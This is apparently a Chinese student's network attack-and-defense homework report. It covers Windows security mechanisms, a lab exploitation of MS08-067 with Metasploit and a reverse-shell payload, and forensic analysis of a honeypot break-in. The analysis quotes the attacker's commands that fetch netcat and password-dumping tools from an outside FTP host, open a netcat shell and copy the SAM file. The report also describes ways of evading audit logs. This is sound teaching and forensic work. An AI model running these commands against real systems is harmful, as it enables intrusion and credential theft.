20212820 2021-2022-2 《网络攻防实践》第六周作业
1.实践内容
(1) Windows操作系统基本框架
如图所示,分为运行于处理特权模式的操作系统内核,以及非特权模式的用户空间代码
内核的基本模块包括: Windows执行体;Windows内核体;设备驱动程序;硬件抽象层;Windows窗口与图形界面接口内核实现代码;环境子系统服务进程;服务进程;用户应用软件;核心子系统DDL;Windows进程和线程管理机制;Windows内存管理机制;Windows文件管理机制;Windows注册表管理机制;Windows网络机制。
Windows网络机制如下图所示,网络组件基本模块包括:
- 各种网卡硬件的设备驱动程序。
- NDIS库和miniport驱动程序。
- TDI传输层(网络协议驱动)。
- 网络API、DLL和TDL的客户端。
- 网络应用程序与服务进程。
(2)Windows操作系统的安全体系结构与机制
Windows安全体系结构: Windows操作系统引用监控器模型来实现基本的对象安全模型,如图所示,所有的主体对客体的访问都是通过引用监控器作为中介。
Windows系统安全体系结构如下图所示:
Windows身份认证机制:对于试图使用Windows系统的用户与远程计算机安全主体,Windows通过秘密信息(保存的口令字、登记的指纹等)来验证安全主体的真实合法身份。网络身份认证过程由LSASS服务的Netlogon模块主导完成。客户端会与服务器端进行“质询-应答式”的身份验证协议。
Windows授权与访问控制机制:在用户等安全主体经过认证后,Windows系统会赋予用户一个访问令牌,令牌中包括用户本身的SID、用户组SID和特权列表。Windows中可使用whoami
来查看当前用户令牌信息。
安全审计机制:系统审计策略在本地策略中由管理员定义,来确定哪些事件进行记录。也可作为第三方审计日志分析工具的输入数据源。
(3)Windows远程安全攻防技术
远程攻击可分为如下几类:远程口令猜测与破解攻击;攻击Windows网络服务;攻击Windows客户端及用户。
系统的安全漏洞:互联网用户所面临的安全威胁中,绝大部分是由于未能及时修补已公开的漏洞,所导致的渗透攻击和恶意代码的传播。渗透攻击包括:漏洞扫描测试—>查找渗透代码—>实施渗透攻击。
- Metasploit软件主要命令
命令
|
主要描述
|
---|---|
?/help
|
显示命令帮助
|
cd
|
改变当前工作目录路径
|
connect
|
集成netcat的功能,可测试网络
|
check
|
部分渗透模块所支持的目标系统是否存在相应漏洞。
|
exploit
|
实施渗透攻击
|
quit
|
退出终端
|
Search
|
查找特定模块
|
Show
|
查找每种模块的详细配置参数
|
set/unset
|
查找每种模块的详细配置参数
|
Use
|
选择使用特定的exploit、playload、encoder模块
|
远程口令猜测与破解攻击
- SMB(基于服务消息块)协议可以为网络用户提供远程访问文件系统与打印机支持,通常运行于TCP445与TCP139端口。远程桌面终端服务运行于TCP3389端口,只提供图形化的用户口令登录接口,因此破解更困难一些。
- 防范措施:尽量关闭不必要的开放的、易受网络攻击的网络服务;配置主机防火墙来限制网络端口的服务;对于安全级别较高的服务器,管理员可以制定强口令策略。
远程渗透攻击防范措施:
应该尽可能快的更新软件的补丁;对安全漏洞被公布的这段时间,应暂时禁用存在网络服务的访问,来避免被攻击。通过漏洞扫描软件对已知的漏洞及时修补。
(4) Windows本地安全攻防技术
windows本地特权提升
- 攻击者获得系统上受限用户权限后,就会着眼于获得终极特权,主要途径有DDL注入和破解本地程序漏洞。
Windows敏感信息窃取
- 获得administrator权限后,攻击者将继续收集敏感信息(各种口令字)。
Windows消踪灭迹
- 攻击者可利用auditpol程序关闭审计功能,使用“enable”参数重启审计功能,就可以不留痕迹地退出系统。
- 攻击者获得Administrator权限后就可打开Event Log事件查看器来删除主机上的所有日志。
- 防范措施:可将日志记录上传到安全的日志服务器中;也可采用定期备份的方式来固话保存。
远程控制和后门程序
- 攻击者为了确保以后能方便登录系统,会在系统中建立远程控制和后门程序。
- 常用的远程控制程序有Netcat、Metasploit和图形化远程控制程序。
- 防范措施:采用后门检测软件来发现隐藏的后门程序。
2.实践过程
(1)动手实践Metasploit windows attacker
- 任务:使用metasploit软件进行windows远程渗透统计实验
- 具体任务内容:使用windows Attacker/BT4攻击机尝试对windows Metasploitable靶机上的MS08-067漏洞进行远程渗透攻击,获取目标主机的访问权
kali IP 192.168.200.4
win2k IP 192.168.200.124
i.在kali中输入msfconsole
启动msfconsole软件。
ii.输入search ms08_067
查看漏洞模块信息。发现路径是exploit/windows/smb/ms08_067_netapi。
iii.进入漏洞所在文件,输入命令:use windows/smb/ms08_067_netapi
iv.输入命令使用show options
查看攻击此漏洞需要的设置
v. 使用show payload
查看载荷信息
vi.选择第三个载荷进行攻击,输入命令 使用set payload generic/shell_reverse_tcp
查看载荷信息
输入命令 使用set RHOST 192.168.200.124
设置要攻击主机
输入命令 使用set RHOST 192.168.200.4
设置要本机
vii.输入命令 使用exploit
进行攻击,出现会话连接则攻击成功
这一步我失败了很多次,更改了网络适配器后,把攻击机和靶机IP有弄反了,仔细检查后,成功了。
viii.回车即可进入到受害靶机的shell,输入命令行ipconfig/all查看靶机的IP,攻击成功
viiii.打开wireshark,抓包可见,源地址为192.168.200.4 源端口为4444 目的地址为192.168.200.124 目的端口为1024 攻击发起时间从ARP协议的询问开始
从wireshark抓包中可见,攻击利用的漏洞有针对SMB网络服务的漏洞,DCERPC解析器拒绝服务漏洞,SPOOLSS打印服务假冒漏洞。
至此该实践完成。
(2)取证分析实践:解码一次成功的NT系统破解攻击。
- 来自212.116.251.162的攻击者成功攻陷了一台由rfp部署的蜜罐主机172.16.1.106,(主机名为lab.wiretrip.net),要求提取并分析攻击的全部过程。
- 攻击者使用了什么破解工具进行攻击
- 攻击者如何使用这个破解工具进入并控制了系统
- 攻击者获得系统访问权限后做了什么
- 我们如何防止这样的攻击
- 你觉得攻击者是否警觉了他的目标是一台蜜罐主机?如果是,为什么
1.使用的破解工具
i.首先用wireshark打开所给的攻击文件,根据题目输入ip.addr == 213.116.251.162 && ip.addr == 172.16.1.106
筛选一下有这两个IP地址的信息,发现攻击机建立连接后进行HTTP访问。
ii.然后打开117这一行,发现攻击者打开了系统启动文件"boot.ini",这里有%C0%AF
字符,%C0%AF为/的Unicode编码,这里是Unicode编码攻击。
iii.在第130行、140行,我们可以看到有msadc和msadcs.dll文件,这是一个探测过程,是远程数据访问服务的文件,然后追踪149行的TCP数据流,经查询发现进行了SQL注入攻击,执行shell脚本数据为shell ( “cmd /c echo werd >> c : \ f u n ” )
,根据ADM!ROX!YOUR!WORLD
特征字符串,表明是msadc(2).pl
工具发起的渗透攻击。
攻击机使用的攻击工具是msadc.pl。
2.攻击机如何进入系统?
i.接下来把追踪到的http数据流中的重要数据并整理如下:
SESSION:1778-80"cmd /c echo user johna2k > ftpcom"
SESSION:1780-80"cmd /c echo hacker2000 >> ftpcom"
SESSION:1782-80"cmd /c echo get samdump.dll >> ftpcom"
SESSION:1784-80"cmd /c echo get pdump.exe >> ftpcom"```
SESSION:1786-80"cmd /c echo get nc.exe >> ftpcom"SESSION:1789-80"cmd /c echo quit >> ftpcom"SESSION:1791-80"cmd /c ftp -s:ftpcom -n www.nether.net"```
ii.在Wireshark中输入ftp进行筛选,发现1106行的ftp连接成功,然后再看一下连接成功之前的指令,可以找到下面一些指令。
SESSION:1874-80copy C:\winnt\system32\cmd.exe cmd1.exe
SESSION:1875-80cmd1.exe /c open 213.116.251.162 >ftpcom"
SESSION:1876-80cmd1.exe /c echo johna2k >>ftpcom
c echo haxedj00 >>ftpcom
c echo get nc.exe >>ftpcom
c echo get pdump.exe >>ftpcom
c echo get samdump.dll >>ftpcom
c echo quit >>ftpcom
iii.ftp连接结束后,执行指令c nc -l -p 6969 -e cmd1.exe
,表示攻击者连接6969端口,获得了系统的访问权。
3.攻击者获得访问权限后做了什么?
i.在Wireshark中输入tcp.port == 6969
,追踪tcp流;要从注册表中提取密文,但没有成功。运行net session,访问受限,执行net users,返回主机用户列表
ii.然后攻击者通过net group,net localgroup分别查看组用户、本地组用户,并查看net group domain admins,但都没有成功。
iii.继续看此TCP流可以发现,攻击者想寻找并进入msadc目录,执行pdump,但是没有破解出口令密文。
iv.删除了samdump.dll和pdump.exe文件。
v.执行rdisk尝试获得SAM口令文件的拷贝,将SAM文件保存为c:\har.txt文件。
4.如何防止这样的攻击
- 通过移除或删除系统内/msadc目录,同时移除C:\Program Files\Common Files\System\Msadc\msadcs.dll,或安装MDAC2.1SP2补丁(下载网址为http://www.microsoft.com/data/download.htm),并注意及时上网更新。
- 为这些漏洞打补丁;禁用用不到的RDS等服务;防火墙封禁网络内部服务器发起的连接
- 使用IIS Lackdown和URLScan等工具加强web server
5.攻击者是否警觉攻击了蜜罐主机?
攻击者警觉到了这是一个蜜罐主机,因为有这样一条指令。
(3)团队对抗实践:windows系统远程渗透攻击和分析。
- 攻方使用metasploit选择漏洞进行攻击,获得控制权。(要求写出攻击方的同学信息、使用漏洞、相关IP地址等)
- 防守方使用wireshark监听获得的网络数据包,分析攻击过程,获取相关信息。
攻击过程与实践一相同,开始exploit攻击后进入wireshark进行监听。
从抓包中可得到如下分析和结果:
攻击机IP地址192.168.200.4;目标地址192.168.200.6;
源端口45613;目标端口445;
攻击发起时间:从ARP协议的询问开始
3.学习中遇到的问题及解决
问题1:实验一在执行exploit后失败
问题1解决方案:更改了网络适配器,发现之前错误时候联网失败,再次失败,检查发现IP地址输入错误,主要是错在马虎。
4.实践总结
一步一步的学习中,越发感觉网络攻防需要学习的东西真的很多很多,只要努力不放弃,总是能克服一个又一个的难题!